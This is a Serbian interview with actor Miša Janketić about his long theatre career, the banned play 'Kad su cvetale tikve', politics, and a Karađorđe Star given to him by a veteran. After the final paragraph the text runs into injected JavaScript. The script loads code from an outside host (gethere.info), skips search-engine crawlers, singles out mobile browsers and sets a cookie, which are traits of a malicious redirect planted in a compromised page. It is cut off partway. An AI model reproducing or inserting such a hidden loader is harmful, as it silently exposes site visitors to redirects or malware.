INTERVJU, JANKETIĆ: Kako sam glumeći vojvodu Mišića zaradio Karađorđevu zvezdu

INTERVJU, JANKETIĆ: Kako sam glumeći vojvodu Mišića zaradio Karađorđevu zvezdu


I pojavi se jedan visok Šumadinac sa brčićima. Lepota ljudska, sa odelom, kravatom i zahvali mi, zagrli me i kaže: “Evo, imam trinaest odlikovanja u ratovima, balkanskim, turskim, Prvom… Doneo sam da vam poklonim svoju Karađorđevu zvezdu zato sto sam je najteže zaradio.”

Više od pola veka je na sceni i pred kamerama. Misli da je sve već rekao, ali i dalje ima želju za igrom. Mihailo Miša Janketić, jedan od istinskih velikana domaćeg glumišta, otkrio nam je neke dragocene tajne ogromnog iskustva koje poseduje.

Kako se oseća glumac posle punih 55 sezona u pozorištu?

– Nije to baš lako. Međutim, ja sam imao prednost da veliki deo svoje karijere odigram u vremenu koje je bilo vrlo povoljno, gde su se mnogo više i bolje vrednovali kvalitet, privrženost, pripadnost. I onda kad se zaradi taj status onda čovek ima neko pravo koje bi trebalo da koristi, da se pojavljuje u novinama ili na televiziji, u intervjuima nekim povodom, ali da vodi računa o svojoj karijeri tako što se neće polakomiti za popularnošću, za novcem. Važno je da glumac bira uloge i pristaje da igra samo one uloge koje ga unapređuju i koje ga penju i koje obezbeđuju njegov već osvojeni značaj. Tako da, ne znam, da sam mlad glumac u ovom trenutku nisam baš siguran da bih to mogao tako lako da osvojim.

MISA JANKETIC

Bilo je dovoljno da Josip Broz na skupu radnih ljudi u Zrenjaninu kaže da je predstava “Kad su cvetale tikve” nepodobna i da nas nagovore da je mi sami kao kolektiv skinemo sa repertoara. To je bilo tako perfidno.

Nekad je bilo bolje glumačko vreme?

– Radio sam u mnogo povoljnijem vremenu, kada se ono čime se mi glumci bavimo neuporedivo više cenilo. Naš stalež je nasledio jedno nipodaštavanje koje nas prati još iz srednjeg veka pa je to i danas ostalo kao neka navika u nekom građanskom, da ne kažem malograđanskom svetu. Mislim da je taj socijalistički sistem u kome smo mi živeli i radili naš stalež podigao na jedan do tada nivo nezapamćen. Društveno uređenje je shvatilo da su umetnost i sport nešto što je najdragocenije za afirmaciju jedne zemlje u svetu. I tako smo mi stekli u to vreme neverovatne, za našu malu zemlju, sportske uspehe, umetničke uspehe na svim poljima umetnosti i duhovnosti. Neki naš rejting u društvu ustoličio se u to vreme vrlo visoko, tako da i pored svih ljuljanja i neprilika u kojima sadaživimo ne može tako brzo da se sroza sa tog pijadestala.

Hajde da krenemo od predstave “Kad su cvetale tikve”, to je predstava koja je i sada izuzetno gledana u Beogradskom dramskom. Igrali ste je kao mlad glumac i vratili ste se sad da odigrate istu tu ulogu decenijama posle. Kako vam to izgleda?

– To je u stvari jedna veoma zanimljiva priča. Mihajlović je sjajan pisac, bogat, nema nijedne jedine njegove priče, nijednog jedinog romana koji se ne može dramatizovati, koji se ne može igrati, na televiziji, na filmu, u pozorištu, a očiti primer je bio kada smo pre skoro 40 godina igrali “Tikve” u Jugoslovenskom dramskom pozorištu. To je bilo vrlo strogo vreme razmeđeno između onog šta se može i šta se ne sme. Danas se sve sme ali to ne znači ništa, a onda se mnoge stvari nisu smele a značile su mnogo. Nismo mi ušli u tu priču, u sudbinu te porodice beogradske sa Dušanovca sa bilo kakvim političkim konotacijama. Jednostavno, to je bilo daleko od nas. Međutim, ta predstava je dotakla jednu zabranjenu, tada tabu temu – Goli otok i Informbiro.

Samim učesnicima i sa jedne i sa druge strane, čak i vrhunskim političarima, doprlo je saznanje da je mnogo nevinih ljudi stradalo u tom progonu. To vam je kao kad se domaćinu, voćaru na primer, u podrumu koji je pun gajbica prelepih i zdravih jabuka pojavi trulež i onda on izbacuje napolje sve gajbice gde ima trulih plodova ne vodeći računa o onim zdravim plodovima. Sudbina tih zdravih plodova koji su izbačeni sa onim štetnim je nešto što je povod za umetnost. Umetnost je dužna da tretira sudbinu takvih ljudi, politika o njima ne priča, to je kolateralna šteta kako se sad to zove u ovom svetu koji je pun takvih čišćenja u ime demokratije i ovoga ili onoga. Dužnost umetnosti je da se bavi sudbinama tih zdravih ljudi koji su nastradali sticajem okolnosti, višom silom. “Tikve” su bile jedna takva predstava.

Samo četiri ili pet predstava ste odigrali tada pre zabrane?

– Pet predstava smo igrali, ta peta je bila nešto malo redukovana što se tiče tih žestokih replika, ali svejedno to nije moglo proći. Ono što sam ja uvek govorio, ono što je bila najveća perfidnost onog vremena je da tu predstavu zapravo niko nije zabranio, što se tiče visoke politike. Bilo je dovoljno da Josip Broz na skupu radnih ljudi u Zrenjaninu kaže da je to nepodobno i da nas nagovore da je mi sami kao kolektiv skinemo sa repertoara. To je bilo tako perfidno. Niko nama nije zabranio predstavu, mi smo je sami skinuli.

Kakav je vaš stav prema zabrani predstava?

– Ima mnogo uplašenih ljudi, kojima su važniji njihov život, karijera, neki osećaj te siromašne male slobode, pa se upregnu u taj jaram koji je dozvoljen. I onda su oni u stanju da žrtvuju neke stvaralačke uspehe u umetnosti i uopšte uživotu, iz svog ličnog straha. Ja nisam, na kraju krajeva to je tako ljudski, nikada dozvolio sebi da komentarišem takve stvari jer sam to smatrao veoma banalnim.

MISA JANKETIC

Posle toga sa “Tikvama” bili ste razočarani u Savez komunista, u svoje pozorište, u profesiju i umalo niste zauvek otišli.

– Da, pa dobro, nisam ja u tom trenutku bio dovoljno mudar, bio sam isuviše emotivan. Ja sam se isključio iz svih tela koja su donosila tu odluku. Onda sam se povukao na svoje imanje, u crnogorska brda, i tamo proveo nekih 9, 10 meseci. Učinio sam ono što sam mislio da je najpoštenije, izašao sam iz Saveza komunista i više nikad, evo do sada, posle toliko decenija nisam ušao ni u jednu partiju jer sam shvatio da ja baveći se svojim poslom ne mogu nikako da utičem na političku situaciju u zemlji. Jer mi ne pada na pamet da se bavim politikom. Ako ne umeš da barataš čekićem, ti ne možeš da budeš kujundžija. Tako da mi je to bilo jedno iskustvo koje se ispostavilo veoma dragocenim za moj nekakav budući stav prema životu, prema umetnosti, prema svemu.

Jeste li se uplašili?

– Nijednog trenutka se nisam uplašio, nisam sklon strahu. Ovaj posao kojim se ja bavim meni omogućava jedan lep osećaj da sam kobajagi slobodan. Ja vrlo dobro znam da nisam slobodan i da je sloboda kategorija koja je neosvojiva, kao i vlast, ljubav, sreća, bogatstvo. Ali se čovek dosta dobro oseća ako ima neke repere po kojima mu se u jednom trenutku učini da je slobodan. Ja sam osvojio te repere i imam utisak da sam slobodan čovek. To znači da sam celogživota radeći dosta kvalitetno svoj posao od tog posla mogao daživim i podižem poprilično brojnu porodicu. Znači da nisam morao da radim ništa drugo nego ono što sam hteo, ali sam shvatio da je velika filozofija da sebe nagovorim da ne mogu daživim kakoželim. Naučio sam da živim kako moram jer sam odavno prihvatio taj slogan “Ono što moram, to i hoću” i gle čuda, tu se nađe, kako bih ti rekao, dobar dogovor sa samim sobom i sa okolinom, gde živiš kobajagi slobodno.

SREĆA MOJA, NISAM IZABRAN ZA POSLANIKA

Ipak, desilo se da se vaše ime sa Stevom Žigonom u jednom trenutku našlo na listi Socijalističke partije Srbije. Kako se to dogodilo?

– To je bila jedna priča koja ima i svoj pomalo komični deo. U to vreme to su bili prvi parlamentarni izbori. Političke stranke tog vremena angažovale su jako mnogo popularnih ličnosti, najboljih lekara, umetnika, glumaca, estradnih veličina i tako dalje. Ne zato što su nas poštovali, nego zato što su mislili da će naša popularnost da im donese glasove. Tako smo Stevo Žigon, Petar Džadžić i ja bili nestranački kandidati u SPS-u. Ja sam na to pristao ne znam ni ja više zašto, iz neke igre i radoznalosti, kao glumac da vidim kako to izgleda. Ali za vreme te kampanje sam shvatio da se tu ne biraju sredstva i da je to nešto ispod časnog, ljudskog dostojanstva. I bio sam veoma, veoma srećan što nisam prošao.

MISA JANKETIC

Posle toga ste izjavili da je bavljenje politikom zavlačenje ruku do lakata u govna?

– U “Prljavim rukama”, jednoj od velikih predstava Jugoslovenskog dramskog pozorišta, igrao sam mladog revolucionara koji se iz svoje čistote suprotstavljao svom partijskom šefu a on mu je rekao: “Mali, ne možeš ti da ostaneš čist ako se baviš politikom, baviti se politikom znači zavlačiti ruke do lakata u govna i u krv. Ako to nisi u stanju, onda idi, nemoj da se time baviš.” To i jeste tako. Ja nimalo ne zavidim tim ljudima, fala lepo i doviđenja. Ali je to opet bilo jedno iskustvo koje je meni kasnije uživotu i u onome što sam stvarao i čime sam se bavio i u mojim nekim drugimživotima koje igram već 55 godina jako pomoglo.

Kako danas gledate na politiku?

– Prateći poslednju političku kampanju ovde kod nas, rekao sam da su to najdragoceniji izbori u ovom mom trajanju od 78 godina. To je bila ponuda neverovatne političke edukacije našem narodu. Toliko podmetanja i laži trebalo bi ovom našem narodu da bude jasna škola. Međutim, mi koji smo kao narod političke analfabete, mi još uvek mešamo stranke i ideologiju, politiku i demokratiju, sve je to kod nas zbrkano. Plašim se da opet nismo ništa naučili. Ja sam čovek kojiželi da bude obavešten o svemu što se događa. To obogaćuje čoveka, jer i to je neka vrsta čitanja života. Ne obrazuje se čovek samo čitajući klasike, nego iz punih pluća učestvujući uživotu. Tako da su to sve neka iskustva koja su od koristi umetničkim stvaraocima. Ako se umetnost bavi traganjem za lepotom i istinom, onda shvativši šta je ružno možemo da cenimo lepotu, i shvativši šta je laž da cenimo istinu.

MISA JANKETICIma mnogo uplašenih ljudi, kojima je najvažnija karijera, njihov osećaj te siromašne male slobode, pa se upregnu u taj jaram koji im je dozvoljen

U “Kolubarskoj bici” igrali ste vojvodu Mišića, a istovremeno ste odigrali i silne likove u popularnim serijama. Šta je čoveku teže da prikaže, da recituje poeziju, na primer, u emisiji kod Gorana Sultanovića ili da radi lik kao u “Kolubarskoj bici”?

– Sve ovo što ste pomenuli jeste neki presek onoga čime sam se ja bavio, od poezije pa do mojih dramskih i komičnih uloga. Međutim, ja to ne gledam tako. Pozoriste je jedna igra u koju sam ja jako rano zakoračio i postao sam zavisnik od igre jer mi je to nudilo neke mogućnosti, da proživim mnogoživota, što već zvuci banalno. To je priča maltene svih glumaca. I kada to traje jako dugo, evo kod mene 55 godina, onda čovek više ne može a da se ne izjednači sa svim tim mnoštvom ljudi i sudbina,života koje je u svom glumačkomživotu proživeo. Tako da ja sada, recimo, kada me neko pita koliko imam godina, kažem: “Pa ne znam, imam onoliko godina koliko ima čovek kojeg večeras igram.” Za mene kraj života nije smrt, za mene je kraj života prestanak igranja. Onog trenutka kad prestanem da igram ja ne vidim više apsolutno nikakvu svrhu da postojim. To ovako kad se priča zvuči dosta opasno kao da ja sad nemam svojživot, da sam ga proćerdao kroz te uloge i kroz te tuđeživote, ali nije ni tako. Čovek ima jednu vrstu baze, jednu vrstu svog ličnogživota, u mom slučaju je to porodica, na primer. I decu sam pravio, kao i svoje uloge, u nekim mnogo povoljnijim trenucima. Da mi je sad 30 godina ne verujem da bih sad tako, nisam baš siguran. Sad imam lepu porodicu, četvoro dece, troje unučadi sa mogućnošću da ih imam još. I to je neka baza, kao osnova koja me nikad nije isterala, nikad ta gomilaživota, gomila likova koje sam odigrao nije uspela da istera iz mogživota. Ja sam uvek tu. Za mene je svaki izlazak iz mogživota u neki tuđi avantura koja me jako raduje, to je najlepša igra . Gluma je najlepša igra koju je čovek ikad izmislio. I čovek od toga lako postane zavistan. Eto, to je to.

Čuveni Milivoje Živanović vam je, kad ste bili mlad glumac, dao savet da ako jednog trenutka odaberete četiri životne uloge onda ste napravili pravu stvar. Jeste li vi to uspeli?

– Ne znam da li sam to postigao. Jesam. Imam ja tih pet, šest uloga. Pritom nisam nimalo popustljiv ni blagonaklon prema sebi. Ako je po Milivoju Živanoviću, onda sam ja nešto i postigao.

Foto: Saša Džambić

Foto: Saša Džambić

I decu sam pravio, kao i svoje uloge, u nekim mnogo povoljnijim trenucima. Da mi je sad 30 godina ne verujem da bih tako, nisam baš siguran. Sad imam lepu porodicu, četvoro dece, troje unučadi sa prilikom da ih imam još.

Koje su to uloge?

– Ne mogu da biram po svom intimnom mišljenju i prema intimnim naklonostima. Mogu da pobrojim samo one uloge za koje sam dobio javna priznanja, a koja uglavnom nose imena pozorišnih stvaralaca. Na primer, Joakim Vujić, Raša Plaović, Milivoje Živanović, Ljubiša Jovanović, Sterija, Dobrica Milutinović, pa Pavle Vujisić. Sve sam te velike uloge dobijao. Pet uloga za pet Sterijinih nagrada. Tako da su to u stvari te uloge, a ono što je moj lični stav i što je moje to se ne zna jer mi glumci to ne određujemo, našu sudbinu i vrednost određuje naša publika. Možeš ti sad da činiš sa sobom šta hoćeš, ali to nisi u stanju da učiniš jer si ono kako te vrednuje i koliko te voli publika.

Vas publika još želi. Imate trenutno sedam naslova u pozorištu.

– Da, imam. I to me održava. Održava me to što nisam proteran iz pozorišta. Igraću u pozorištu dok god sam na nogama.

Imate li neke poroke?

– Naravno, naravno da imam i poroke i mane. A imam i vrline. Međutim, to me je naučila moja baba, jedna mudra žena koja je živela 106 godina. Ona je jednom davno rekla: “Znaš, dome moj, svako od nas ima mane, ali ako si dovoljno pametan i inteligentan da ih shvatiš i upoznaš, onda kao i da ih i nemaš.” I to je tačno. Jer ti ako imaš neku manu onda ćeš se kao pametan čovek truditi da to na neki način svedeš na minimum. Tako da je moguće živeti sa manama.

SOLUNAC MI DAROVAO KARAĐORĐEVU ZVEZDU

Pobrojali ste glumačke nagrade koje se mogu dobiti na ovim našim prostorima, ali da li je tačno da je vama omiljena nagrada nešto sasvim drugo?

– Da, jeste. Igrao sam vojvodu Živojina Mišića u “Kolubarskoj bici”. Na premijeri je bilo 60 solunskih boraca u Jugoslovenskom dramskom pozorištu. Iz godine u godinu umirali su i onda smo jednom otišli da gostujemo sa predstavom u Lazarevac. Tamo se desilo da sala Doma kulture prima 400, 500 ljudi a ispred pozorišta je došlo njih 2.000. Onda me je upravnica zamolila da sve onako sa uniformom i sa brkovima izađem na terasu i ja sam im se obratio i rekao sam: “Molim vas, pustite ove ljude koji imaju kartu večeras da to njima odigramo, a ja vam obećavam, dajem svoju časnu vojničku reč da ćemo igrati onoliko puta koliko god bude vas koji želite da gledate predstavu.” I nisam ih slagao, šest puta smo igrali predstavu i svi su videli. I negde na kraju prilazi mi jedan mlad čovek i kaže: “Moj deda bi hteo da vas upozna, on je solunac, ima 96 godina i hoće nešto da vam preda.” I pojavi se jedan visok Šumadinac sa brčićima, ma kakav engleski lord, nije mu ni prineti. Lepota ljudska, sa odelom, kravatom i zahvali mi, zagrli me i kaže: “Evo, ja sam doneo, imam trinaest odlikovanja u ratovima, balkanskim, turskim, Prvom… Doneo sam da vam poklonim svoju Karađorđevu zvezdu zato sto sam je najteže zaradio.” I preda mi pergament zvezdu. Moji glumci samo šmrcaju, to je bilo stvarno velika stvar. I on dole svojim rukopisom ćirilicom ispiše “Gospodinu Mihailu Janketiću, alijas Vojvodi Živojinu Mišiću”, taj i taj, toga i toga… Imam je tu. Tako da je to bilo jako, nešto značajno, to je neki dar, nagrada koju nema niko a ono što je retko to je i najvrednije.

Desilo se nedavno nešto zanimljivo, vi kao mladi igrali ste u predstavi “Naši sinovi”, a pre par godina vaš sin je odigrao baš istu ulogu koju ste vi igrali na početku karijere. Kako ste zadovoljni, jeste li videli Marka?

– Jesam, dobar je.

Jel’ dolazio po savet?

– Provodimo ponekad po cele noći pričajući o nekim stvarima, između ostalog, i o pozorištu i tako dalje. Međutim, on mene pozove na generalnu probu pred premijeru i ja odem i vidim i kažem mu dve, maksimum tri rečenice i to je sve. I on ih odmah shvati. Tako je uvek bilo i ono što mi je drago je da sad Marko Janketić više nije sin Miše Janketića, nego sam ja sad sve više otac Marka Janketića. Dobar je, u pozorištu je savršen. Evo, sad u Zvezdari igra isto u komadu koji sam ja nekad igrao “Klaustrofobična komedija”.

MISA JANKETIC“Svako od nas ima mane, ali ako si dovoljno pametan i inteligentan da ih shvatiš i upoznaš, onda kao i da ih i nemaš”, govorila je moja baba

Postoji nešto vrlo zanimljivo, kažu da je Momo Kapor posebno dopisivao rečenice za “Kabare 011” za vas i Radu Đuričin?

– Nije Momo Kapor dopisivao, dopisivali smo ih mi. “Kraj vikenda”, “011”, “Kabare”, to su tekstovi čiju je dramatizaciju napravila Rada Đuričin iz njegovih članaka objavljenih uglavnom u “Politici”. Pratio nas je Momo sa velikim zadovoljstvom, to je bilo divno druženje – Momo, Rada i ja. Ali tako dođe trenutak kada izleti logična situacija, rečenica, i to se zapamti. Nismo mi to zapisali, ni prepravljali, nego to je tako postojalo kao neko iskustveno bogatstvo za predstavu. I to se događa. Događa se i kad je Šekspir u pitanju jer svi prevodi koje mi imamo su veoma stari, a jezik se razvija. Daroviti glumci i reditelji znaju kako to da se plasira na jedan savremeniji i razumljiviji način. I u tome je cela stvar.

Rođeni ste u Novom Sadu, ali ste poreklom Crnogorac. Kako gledate na ove najnovije podele?

– Ja sam Srbin, poreklom iz Crne Gore, a rođenjem Sremac. Ja sam se rodio u Novom Sadu, ali na suprotnoj strani, sremačkoj, na Petrovaradinu. Tako da sam poreklom Crnogorac, a rođenjem Sremac.

I kakav je to temperament?

– E pa sad, možeš misliti. Mi Crnogorci volimo ‘ladovinu, ali smo u boju nezamenljivi po brzini. Stići i uteći i na strašnom mestu postojati.

Igrali ste u dosta serija, koliko su vam drage te uloge?

– Serije su nešto što donosi veliku popularnost. Učestvovao samo u dve priče onih “Otpisanih”, to je neverovatno. Od ’60. do ’70. godine snimali smo uživo. Na sajmištu gde je bio studio uživo smo snimali, imali smo probe tri, četiri meseca jer to je trebalo uskladiti s kamermanima, s onima što vuku kablove, to je bio stres. Uživo igrati dramu. Igrali smo “Romea i Juliju” uživo, moju prvu dramu na Varoš kapiji, bila su tada dva klinca s druge godine 1960. godine, Pera Kralj i Miša Žutić, kasnije veliki glumci. I ja. Ta popularnost koju smo mi imali sad ne može ni da se prepriča jer bi bilo jako neskromno. Međutim, ja sam imao nešto, valjda zbog ovih svojih pozorišnih uloga i zbog jednog vrlo rafiniranog beogradskog gledališta, imao sam jednu vrstu popularnosti na kojoj su mi mnogi zavideli. Moja popularnost nikada nije bila vučenje za rukav “gde si, ajmo”. Ne. I to sam uspeo do danas da održim. Sad u poslednje vreme, ovo klinci što su izmislili, ajde i to je bolje nego ono potpisivanje stotinu autograma, to sam mrzeo, ali moraš sa smeškom to da obavljaš. Sad evo “Možete da se slikamo?” “Može.” Sad je to, nema više autograma.

Kako se čuva privatnost u vašoj profesiji?

– Onog trenutka kad shvatiš da je to ipak najdragocenije što imaš, onda to sačuvaš. Možemo mi imati milion prijatelja, publike, dece, kumova,žena, ljubavi koliko god hoćeš, neko više neko manje, ali ipak imamo samo sebe. Čovek se rodi sam i umire sam. Treba se na to pripremiti jer to je zapravo vera. To je ono izjednačenje sa iskonom, to je ono što nam na neki način održava nadu da će nešto biti i posle onog izdaha. Zapravo, naš život se dogodi između tog prvog udaha koji je frapantan, od koga se zaplačemo. Od tog prvog udaha kad nas majka rodi ta količina vazduha ostaje u celomživotu, pomoću te količine mi dišemo. I mi se rađamo, ceoživot se rađamo. Dok ne ispustimo taj poslednji izdah i onda smo konačno rođeni. Jer smrt je rođenje. Rođenje za neki drugi život. Pre nego što sam umro i konačno rođen ja nisam niko, ja nisam završio sebe. Tek kad umrem ja sam potpuno kompletna ličnost. Ja sam se rodio. Prema tome, sačuvati tu spoznaju jeste vera, a ja sam, čini mi se, ipak verujući čovek.

Foto: Saša Džambić

Foto: Saša Džambić

Tako smo Stevo Žigon, Petar Džadžić i ja bili nestranački kandidati u SPS-u. Pristao sam iz  radoznalosti, kao glumac, da vidim kako to izgleda.

Jel’ tačno da su vam najdraži reditelji bili Mijač i Egon Savin?

– Ne znam ko je to izmislio. Ja sam imao tu sreću da radim sa velikim rediteljima, od Miroslava Belovića, Mate Miloševića, Bojana Stupice, Dejana Mijača, Bore Draškovića, Egona Savina, Zlatana Dorića. Sa svakim od njih sam napravio jednu, dve ili pet značajnih uloga. Nisam radio sa mnogo reditelja, otprilike sa ovima koje sam sad pomenuo, ali to su najbolji i najznačajniji. Uvek sam najviše voleo one reditelje koji nisu meni režirali nego su bili supervizori da od svih mojih ponuda po njihovom mišljenju izaberu ono što je za predstavu, za priču koju pričamo, najbolje i najadekvatnije. Eto, to su mi najdraži reditelji. A svaki od njih je zapravo bio to.

MISA JANKETIC

 

Svaki put smo zaginuli Toma Zdravković i ja. I tu se stvorilo prelepo prijateljstvo. Jednom smo od Aleksinca, od Doma kulture gde smo nastupali do “Lipovog lada” u Bg putovali dva dana i dve noći.

Za vas je vezana i priča da ste imali vrlo lepo prijateljstvo sa Tomom Zdravkovićem. Kako je to bilo?

– Kako da ne, pa neverovatno. Toma Zdravković i ja smo se slučajno upoznali negde u Crnoj Gori, bili smo na nekoj promociji i onda smo, skloni nekim porocima, bili upućeni jedan na drugog. Pa smo pričali i tu se stvorilo neverovatno prijateljstvo. On je zbog mene dolazio u pozorište, ali pod uslovom da za mojim stolom u “Bojanu Stupici”, našem klubu, sedimo samo on i ja. A ja sam ga podsetio i on se setio da smo se davno upoznali preko puta današnje “Prešernove kleti”, na potpuno drugoj strani, bivši Atelje. Tu je bila gradska kafana u zgradi Sindikata i tu je pevao Toma Zdravković u belom odelu sa crnom svilenom košuljom. Savršen umetnik, boem. Svaki put smo zaginuli, po dane i noći. I tu se stvorilo jedno prelepo prijateljstvo. Jednom smo od Aleksinca od Doma kulture gde smo nastupali do “Lipovog lada” u Beogradu putovali dva dana i dve noći.

Jeste li preskočili neki lokal na putu?

– Ne, ne. To su lokali sa finim noćnim damama i muzikom. U svim tim lokalima je on pevao, ja govorio ljubavnu poeziju na njegovo opšte čuđenje kako je moguće i onda me je prozvao Babaroga. “Ti si babaroga”, jer kad je nekog mnogo poštovao i mnogo voleo, on mu je davao ime Babaroga. I mene je Toma zvao Babaroga. Znali smo da sedimo po čitavu noć u “Stupici”. On se meni ne javi da će da dođe, voleo je pozorište, dođe iznenada pa onda priča priče iz njegovog čudnog detinjstva. One su mi i dan-danas ostale.

Kažu isto tako da ste umeli lepo da provodite kafansko vreme i sa Miroslavom Ilićem?

– Ja sam se sa Miroslavom Ilićem jedno dva ili tri puta bio u kafani u ono vreme njegovog velikog hita “Devojka iz grada”. Nisam se družio s Miroslavom, ali ga mnogo volim i pevušim njegove pesme. On je sjajan čovek.

Kako gledate na stanje u domaćoj kulturi danas?

– Temelj svake umetnosti je na entuzijazmu i zato je umetnost neuništiva, samo zato. Lepo je živeti u onim državama koje to znaju drugačije da vrednuju. Izgleda da ovoj današnjoj politici umetnost nije potrebna. Oni su sami sebi dovoljni i to je očito. I što je najstrašnije nisu svesni koliko u tome greše, e to je ono što je najpogubnije. Nisu svesni koliko greše. I tu nema pomoći. Jedino što ostaje nama, poslanicima umetnosti i kulture, jeste da trajemo na svom entuzijazmu, kao i u svim nenaklonjenim vremenima. To jedino ostaje. Ali nijednog trenutka ne sumnjam u našu pobedu, u održavanje, održati se, to je pobeda. Dolaze mladi ljudi koji nemaju vremena, hoće sad, sve i odmah. Nemaju vremena da se bave usporenim obrazovanjem, ono ih baš nešto i ne interesuje. Mislim, biće šta će biti. Nisam ja prorok.

Kako gledate na to što ste dobijali nagrade kao komičar, a ipak ste više igrali dramske uloge?

– To je otprilike ono da mi ne određujemo svoju sudbinu nego nam to određuje naša publika i to je tako. Ja sam dobitnik Nušićeve nagrade za najboljeg komičara, životne nagrade za najboljeg komičara. Ali kada pitate prosečnog gledaoca da li sam ja komičar, retko ko će reći da jesam jer sam igrao u ozbiljnim komedijama, Agatona, Jerotija, Jevrema... Hoću da vam kažem da nije to ostalo u pamćenju publike, nego neke druge uloge koje su se njima više dopale.

Čitate li novine? Šta mislite o medijima danas?

Jako retko. Danas su novine veliko zlo. Nešto što za opstanak nema moralnu vertikalu. Mozes da čitaš i da vidiš dokle smo došli. Ne kao neki nauk, nego prosto da si u situaciji da se orijentišeš da vidiš gde si, sa kim živiš i to je to.

MISA JANKETICKoji to mladi glumac može da iznajmi stan u Beogradu i da živi od  plate. Nema šanse, nema takvog ni novinara, ni inženjera, ni lekara…

Kriza je morala, kako to tumačite?

– Moral je zastarela kategorija, ne samo kod nas nego uopšte. Etika i estetika su od nastanka podložni svom evolutivnom razvoju i to se menja. Ne možemo mi sada da imamo moral svojih predaka, njihov patriotizam i rodoljublje. To se menja. Moral, taj moral za kojim mi toliko žalimo i toliko suza prolivamo i mislimo hoćemo li se ikad vratiti tome je jedna prevaziđena kategorija. Ona dobija neke druge oblike, druge vrednosti jer zvuči pomalo patetično. Mladi ljudi su brzi, za njih su to španska sela, oni izgrađuju svoje norme i to je normalno i prirodno. U evoluciji nema povratka, evolucija je ono što ide napred u svojoj razvojnoj histeriji sve brže i brže. Prema tome, to se menja i neminovno je da se menja. Pitanje je da li će sad vrlo sumnjivo obrazovani svet, jako sumnjivo obrazovani svet u kome miživimo prihvatiti moralna pravila onoga kako je živeo moj otac, moj deda, moji roditelji, kako samživeo ja. Znači, žrtvovati svoj život za reč, zbog date reči. Odjedanput je laž moguća jer je isplatljivija, ispada da je glupo govoriti istinu u određenom trenutku jer time ne dobijaš ništa, a laž ti obezbeđuje nešto. Nemoguće je da ćemo se vratiti onim moralnim normama koje su vladale kod naših predaka, to je nemoguće. To je potpuno idiotski zahtevati i očekivati. Ne može se to očekivati. Naći će se neki novi objekti, nove forme i moralne formule. To je normalno.

NEKAD PLATA ZA STAN I KAFANU, A DANAS… 

Kad sam dobio angažman u Jugoslovenskom dramskom pozorištu mogao sam da iznajmim stan ovde preko puta u Ulici kralja Milutina i da se hranim po kafanama. To je moja plata meni obezbeđivala. Pitam ja vas sad koji će to mladi glumac moći da iznajmi stan u Beogradu i da živi od svoje plate. Kad sam dobio angažman u Jugoslovenskom dramskom pozorištu mogao sam da iznajmim stan ovde preko puta u Ulici kralja Milutina i da se hranim po kafanama. To je moja plata meni obezbeđivala. Pitam ja vas sad koji će to mladi glumac moći da iznajmi stan u Beogradu i daživi od svoje plate.

MISA JANKETICNema šanse, nema takvog ni novinara, ni inženjera, ni lekara, nema više nikog. Mi nismo mogli da pomislimo da ćemo da idemo u Kanadu, Australiju ili u Švajcarsku. Sad možeš da ideš gde hoćeš. Pa ako stvarno nešto vrediš ti ćeš naći sebe tamo negde. To što ćeš posle da patiš, da budeš nostalgičan, to je tvoj problem, ti vidi možeš li s tim ili ne možeš.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = 